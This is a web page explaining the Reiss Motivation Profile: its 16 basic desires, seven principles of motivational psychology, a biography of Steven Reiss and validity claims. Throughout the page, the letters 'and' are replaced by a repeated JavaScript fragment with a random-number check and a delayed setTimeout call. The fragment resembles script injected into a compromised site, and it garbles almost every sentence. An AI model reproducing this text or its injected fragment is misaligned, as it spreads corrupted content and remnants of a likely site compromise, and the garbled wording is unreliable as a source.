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Basics

The Reiss Motivation Profile®

There are 16 motives that determine our lives. They are the substance from which we are made, which gives purpose andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and meaning to our existence. And the intensity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and expression of these motives are different in every human being.

Background: People are completely individual. They often live in a contradiction andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and try to adapt to others while at the same time trying to be themselves. To briefly explain this with an example: Children in day-care learn that being different is not always beneficial. As cruel as it can be, when you grow up it does not necessarily change. When we live our identity, we run the risk to succumb andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and risk being marginalized, despised or, in the worst case, bullied. And all this because we are not understood.

The need for “fitting in” does not only apply to your workplace – it happens to us just as much among our friends, with our children andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and partners andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and always, when we meet other people. Rarely is a person automatically appreciated by others because he or she is different. Individuality can separate people. Whenever two people think very different about their priorities, it’s hard to understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and why the other part think, feel andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and act differently. However, the more you get caught up in such self-perspectives, the greater the risk of projecting a view of “what is good for me is good for others” on partners, friends andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and colleagues. This leads to many conflicts andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and misunderstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andings.

Those who know their own motives andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the motives of others andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that neither one is “better” or “worse” than the other, can provide an enormous amount of positive impulses for living together, cooperating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and being together. Above all, this knowledge teaches us to recognize andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and accept others as they are, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and to value their differences rather than condemn them.

Seven principles of Motivational Psychology

Principle of Universal Goals. Certain goals are common to everyone andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and deeply rooted in human nature. The motivation to experience these universal goals is called “intrinsic motivation” or “basic desire.” Examples of universal goals include curiosity, status, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and structured environment. Reiss’s list of 16 basic desires is the first scientifically derived andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and validated taxonomy of universal goals.

Principle of Intrinsic Motivation. Intrinsic motives (basic desires) have two characteristics: what is desired, which is the universal in human motivation, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how much is typically desired, which is the particular in human motivation. We all want the same things – acceptance, understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding, sustenance, offspring, character, justice, freedom, structure, exercise, competence, sex, preparedness, belonging, respect, safety, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and victory — but not to the same extent. Everybody embraces the 16 basic desires, but individuals prioritize them differently. How an individual prioritizes the 16 basic desires is called a “Reiss Motivation Profile®” or “Reiss Profile®. “ It reveals personality traits andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and core values.

Principle of Relationship Compatibility. People are naturally motivated to assert their basic desires in relationships. Couples with similar desire profiles typically have shared values andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and bond. Those with dissimilar desire profiles typically have opposite values andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and quarrel.

Principle of Strong Basic Desires. Strong basic desires motivate interest in multiple gratification objects. People with hearty appetites eat many different kinds of food; curious people are interested in learning about different topics; romantic people seek multiple partners.

Principle of Counseling/ Coaching. A person thrives in relationships, work, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and family situations that satisfy his or her most important basic desires. Better to marry the right person to begin with than to need a counselor to learn to get along with your partner.

Principle of Self-Hugging. We often think our values are best, not just for us, but for everyone. We use the tactics of “everyday tyranny” to pressure others to change their priorities for ours, thinking it is for their own good. We are a naturally intolerant species.

Principle of a Greater Motive. Personality change can occur only when the basic desire(s) motivating change is/are stronger than the one(s) motivating the current traits. Often there are few or no such greater motives, or they cannot be practically applied. Hence personality change is difficult to accomplish.

The 16 basic motives

Flip through an overview of the 16 basic motives.

Power

High need for power:
Has the desire to lead andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and influence others, willingness to take responsibility, ambitious, success-oriented andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and performance-oriented, assertion of will

Low need for power:
Dislikes leadership roles, does not like to influence others, more comfortable with following somebody else’s lead rather than serving as the leader herself/himself

Independence

High need for independence:
Values personal freedom andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and selfsufficiency, does not want to be dependent upon others, tends to do things alone, without help from other people, likes to live his/her individuality, places a high value on autonomy

Low need for independence:
Desire to bond with others, wants to be part of a community, team-oriented, prefer to rely on others

Curiosity

High need for curiosity:
Places a high value on understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding things, tends to “get to the bottom of things“, intellectual behavior, eager for knowledge, thoughtful, analytical, cares about ideas, knowledge andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and theories, regardless of practical relevance

Low need for curiosity:
Highly interested in practical things andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and practicability, believes that “actions speak louder than words”, prefers a practical approach, dislikes having to analyze things, “Doer”

Acceptance

High need for acceptance:
Sensitive to criticism andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and rejection, seeks acceptance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and positive self-esteem, avoids criticism

Low need for acceptance:
Self-reliant, self confident, constructively opposed to criticism, optimism, is able to handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andle setbacks better than other people

Order

High need for order:
Seeking for organization, has a structured approach , places
a high value on safety, stability andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and order, pays attention to
details, prefers to plan, difficulty to adapt to changes

Low need for order:
Prefers flexibility andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and less structure, likes changes, low need
for security, may seem unstructured/chaotic, appreciates
spontaneity, low need for order

Saving

High need for saving:
Likes to collect things andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and keep things, takes care of his/her belongings/property, tends to be frugal, dislikes to throw things away or to waste them

Low need for saving:
No interest in keeping or collecting things, has no difficulty with giving or throwing things away, tendency to material generosity

Honor

High need for honor:
Oriented to principles, high need for moral integrity, appreciates moral, character andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tradition, places a high value on loyalty

Low need for honor:
Expedience, strongly motivated by own personal code of conduct, little oriented to general principles andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and traditions

Social Contact

High need for social contact:
Communicative, sociable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and outgoing, active social life, loves jokes, prefers close contact with friends, has many friends, loves to spend time with others andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and appreciates common activities

Low need for social contact:
Dislikes an active social life, prefers time alone, little need for companionship andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and social interaction

Idealism

High need for idealism:
Places a high value on social justice, fairness, need to make
the world a better place, humanitarian orientation

Low need for idealism:
Values social self-responsibility, realistic andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pragmatic attitude
towards social issues andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and questions

Family

High need for family:
Wants to have children andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a family life, likes to spend a lot of time with children andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and family, places a high value on bonding to siblings

Low need for family:
Might not want to have own children, can enjoy time without the family

Status

High need for status:
Places a high value on prestige, wealth, titles andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reputation, public attention andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and money are essential

Low need for status:
Places a high value on modesty, believes in social equality, rejects snobbery, formality, status symbols andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and prestige

Vengeance / Winning

High need for vengeance / winning:
Searches for retribution andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and revenge, has a fighting spirit, high need for competition andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and contest, likes to win

Low need for vengeance / winning:
Avoids conflicts andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and arguments, low need for comparison, willing to compromise, prefers harmony

Beauty

High need for beauty:
Places a high value on beauty, art, design, fashion or sensuality

Low need for beauty:
Little interest in beauty, beautiful things or sensuality, prefers sobriety, value function before form

Eating

High need for eating:
Loves to eat, has a hearty appetite, appreciates variety in taste andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and food, food is enjoyed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and celebrated

Low need for eating:
Does not place a high value on food, has little appetite, fussy eater, not interested in food

Physical activity

High need for physical activity:
Enjoys movement andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and physical fitness, energetic, active, loves physical exertion

Low need for physical activity:
Does not value sports andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and physical exercise, comfortable, avoids physical exertion or sports

Tranquility

High need for tranquility:
High sensitivity to danger, risk or pain, gets nervous easily, experiences stress andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and anxiety frequently

Low need for tranquility:
Little sensitivity to danger, risk or pain, deals well with stress, remains “cool” under pressure, brave andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fearless

Background andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and research

Steven Reiss

Steven Reiss – Born in New York in 1947, Steven Reiss was Emeritus Professor for Psychology andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Psychiatry at Ohio State University (USA) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Director of the Nisonger Center for Mental Retardation. He is the author of numerous research papers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and specialist books andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has received several awards for his work.

In Europe, he is primarily known as the creator of the Reiss Motivation Profile®; this is a diagnostic procedure in personality analysis that can be applied across a range of consultancy contexts, e.g. personal development, career coaching andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and elite sport. Thousandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands of people around the world have been able to work out what makes them tick andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what their individual motivators are. He focused on the deep fulfilment of a person’s true needs, conflict-free interpersonal relationships andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a better understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding of people’s individual differences throughout his life.

Steven Reiss died on 28/10/2016 from illnesses associated with a long-term, chronic ailment.

Reiss Motivation Profile – how did it start?

For Steven Reiss, there was a mystery in life that he wanted to solve: Why are people the way they are andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how do I understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and AND predict their behaviour?
Using these two questions, he developed the Reiss Motivation Profile, a tool that reveals a person’s fundamental goals andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and values. The personality profile that was created through this has so far helped countless people to understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and themselves andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other people better. He reduced the main 

psychological motivators down to 16 basic desires. Assessing each of these 16 motivators in life helps you to create a picture of your intrinsic behavioural motivators, i.e. the things within you that drive you.This means that every person who receives their results of the Reiss Motivation Profile can see why they consider certain actions to be reasonable; by combining their own, personal, individual motivators in life, they can understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and see the reasons behind their behaviour.

Research

Who am I? What do I actually want? Until now, psychologists have worked on the basis of only a few different, yet dominant, impulses that determine people’s actions; Steven Reiss’ empirical research, on the other handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, identified a significant number of factors. Sigmund Freud believed that libido was almost the only driving force. Alfred Adler believed that people want to belong andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and become better / grow / learn / be significant / respected andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and muster the courage to compensate for their flaws. The American psychologist Abraham Maslow considered the striving for self-actualisation to be the driver for human behaviour. “These schemata do not take any account of how different people are,” says Reiss. There was no system that included human diversity when it came to looking at the motivators for behaviour. What makes people tick is so varied that it cannot be explained by just  

a few impulses. In a series of nine, large trials that included over 8000 men andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and women, Reiss looked into the psychological ‘essential motivators’, which he later called ‘basic desires’, that ultimately drive people.The basic desires that Steven Reiss identified are the result of this comprehensive scientific research. “For the first time in scientific studies, we looked at the question of what motivates individual people,” says Reiss. The result is a breakthrough in motivation research, as it enables you to describe precisely what drives people, i.e. their individual needs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and motivations behind their actions. “The intensity of individual desires varies widely from person to person,” explains the psychologist. “This is what constitutes a personality.” Every person has their own, almost unique set of basic desires. Having your individual needs fulfilled makes you happy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and content.

Validity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Reliability of RMP

Steven Reiss, Ph.D., conducted scientific surveys andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then used factor analytic methods to delineate 16 human needs. He andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and independent researchers, notably Ken Olson, Ph.D., then validated each of the 16 needs against personality measures (e.g., Big 5 scales, motivation scales, Anxiety Sensitivity Index, romance scales) as an indicator of behavior (e.g., interest in college major, club memberships, television viewing habits, participation in sports, participation in humanitarian causes, etc.). Reiss reported this work in 17 scientific journal articles -three published in prestigious APA journals – andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and three books. Since then, others have published books on the RMP. The instrument is gaining wide use. Practitioners usually can “see” the validity of the tool (meaning that the validity is apparent andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not limited to statistics).

The scientific criteria of Reiss Motivation Profile

Objectivity
The online test guarantees objectivity when taking the test irrespective of who is your Reiss Master.

Validity
The 16 scales show high levels of concurrent andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and criterion-related validity. Several scales also show high convergence validity.

Test-Retest-Reliability
The four-week Test-Retest-Reliability of the 16 scales scores between 0.69 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 0.88, internal consistency – measured using Cronbachs Alpha – between 0.71 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 0.92.

 

Read more: Scientific article about test-retest validity of  Reiss Motivation Profile.